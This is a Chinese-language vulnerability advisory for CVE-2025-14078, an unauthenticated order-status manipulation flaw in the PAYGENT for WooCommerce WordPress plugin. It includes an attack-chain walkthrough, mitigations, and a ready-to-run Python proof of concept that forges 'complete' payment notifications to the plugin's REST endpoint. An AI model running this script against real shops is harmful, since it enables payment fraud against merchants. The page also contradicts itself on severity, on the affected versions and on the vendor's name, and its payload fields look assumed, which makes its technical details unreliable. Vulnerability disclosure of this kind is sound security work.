IPBUF安全漏洞报告
English
CVE-2025-14078 CVSS 5.3 中危

CVE-2025-14078: WordPress PAYGENT WooCommerce插件未授权订单状态修改漏洞

披露日期: 2026-01-17

漏洞信息

漏洞编号
CVE-2025-14078
漏洞类型
Missing Authorization(缺少授权验证)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PAYGENT for WooCommerce(WordPress插件)

相关标签

Missing AuthorizationWordPressWooCommercePAYGENTPayment GatewayREST APICVE-2025-14078WooCommerce插件漏洞未授权访问订单状态伪造

漏洞概述

CVE-2025-14078是WordPress平台PAYGENT for WooCommerce支付插件中的一个高危安全漏洞。该插件用于集成PAYMENT株式会社提供的PAYJENT支付网关服务,允许WooCommerce商店接受在线支付。漏洞存在于插件的REST API端点处理逻辑中,由于缺少适当的权限验证机制,未经身份认证的攻击者可以向插件的Webhook端点发送恶意请求,伪造支付通知数据,进而非法修改订单状态。此漏洞影响版本至2.4.6的所有版本,CVSS评分5.3,属于中危级别。攻击者无需任何用户凭证即可发起攻击,这使得漏洞利用门槛极低。由于该插件处理敏感的支付事务,漏洞被利用可能对电子商务网站的交易完整性造成严重影响,导致订单状态混乱、库存管理异常等问题。虽然漏洞本身不直接造成数据泄露或服务器被入侵,但通过操控订单状态,攻击者可间接实施欺诈性交易或破坏业务逻辑。对于使用该插件的电商网站,建议立即升级至最新修复版本或采取临时缓解措施。

技术细节

该漏洞的技术根源在于PAYGENT for WooCommerce插件在处理支付回调请求时存在两处关键安全缺陷。第一处缺陷位于paygent_check_webhook函数,该函数负责处理来自支付网关的回调通知,但缺少WordPress的权限验证检查,通常应使用current_user_can()或类似的权限验证机制来确保只有合法请求能够执行敏感操作。第二处缺陷更为严重,paygent_permission_callback回调函数在代码第199行被设计为无条件返回true,这意味着即使在需要认证的REST API端点中,该函数也会错误地允许所有请求通过验证。攻击者可以利用/wp-json/paygent/v1/check/这个REST API端点构造恶意请求,由于权限验证被绕过,系统会信任并处理攻击者伪造的支付通知数据。这些伪造的数据包含虚假的交易状态信息,可被用来将任意订单状态修改为已支付、已退款或其他状态。漏洞利用无需任何认证信息,攻击者仅需构造符合API格式的HTTP POST请求即可。修复方案需要在paygent_permission_callback函数中实现正确的权限检查逻辑,例如验证请求是否来自合法的支付网关IP、验证回调签名是否有效,或要求进行适当的用户身份认证。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站是否使用PAYGENT for WooCommerce插件(版本<=2.4.6),通常通过网站指纹识别或扫描插件目录
STEP 2
步骤2
攻击者访问暴露的REST API端点/wp-json/paygent/v1/check/,该端点用于接收支付网关的回调通知
STEP 3
步骤3
攻击者构造恶意的支付通知请求,payload中包含伪造的订单ID、支付状态(设置为'complete'表示已支付)和其他支付相关信息
STEP 4
步骤4
由于paygent_permission_callback函数无条件返回true(代码第199行),权限验证被绕过,恶意请求被系统接受
STEP 5
步骤5
paygent_check_webhook函数处理伪造的支付通知,在没有进一步验证的情况下修改目标订单的状态为已支付或攻击者指定的状态
STEP 6
步骤6
攻击成功,订单状态被非法修改,可能导致订单履行错误、库存扣减异常、财务对账问题或欺诈性交易

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14078 PoC - Unauthenticated Order Status Manipulation # Target: WordPress site with PAYGENT WooCommerce plugin <= 2.4.6 # Endpoint: /wp-json/paygent/v1/check/ def exploit_paygent_unauthorized_access(target_url, order_id): """ Exploit for Missing Authorization vulnerability in PAYGENT for WooCommerce Allows unauthenticated attackers to manipulate order status via forged payment notifications """ endpoint = f"{target_url.rstrip('/')}/wp-json/paygent/v1/check/" # Forge payment notification payload # Attacker can set arbitrary order status values payload = { "order_id": order_id, "payment_status": "complete", # Forge successful payment "payment_id": "MALICIOUS-" + str(order_id), "amount": 0, "currency": "JPY" } headers = { "Content-Type": "application/json", "User-Agent": "PAYJENT Payment Gateway/1.0" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Target: {target_url}") print(f"[*] Endpoint: {endpoint}") print(f"[*] Payload: {json.dumps(payload)}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Exploit successful - Order status may have been modified") else: print("[-] Exploit may have failed") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Usage example # target = "https://vulnerable-wordpress-site.com" # order_id = 12345 # exploit_paygent_unauthorized_access(target, order_id)

影响范围

PAYGENT for WooCommerce < 2.4.6(所有版本)

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)使用Web应用防火墙(WAF)规则阻止对/wp-json/paygent/v1/check/端点的非预期访问,仅允许来自PAYJENT支付网关的合法IP段访问;2)临时禁用paygent_check_webhook函数的相关功能,通过其他方式手动验证和处理支付回调;3)使用.htaccess或Nginx配置对REST API端点进行IP白名单限制;4)启用WordPress的REST API访问日志监控,实时检测异常请求模式;5)考虑暂时切换到其他支付插件,待官方发布修复版本后再恢复使用。建议尽快升级到插件官方发布的最新修复版本以彻底解决该安全漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表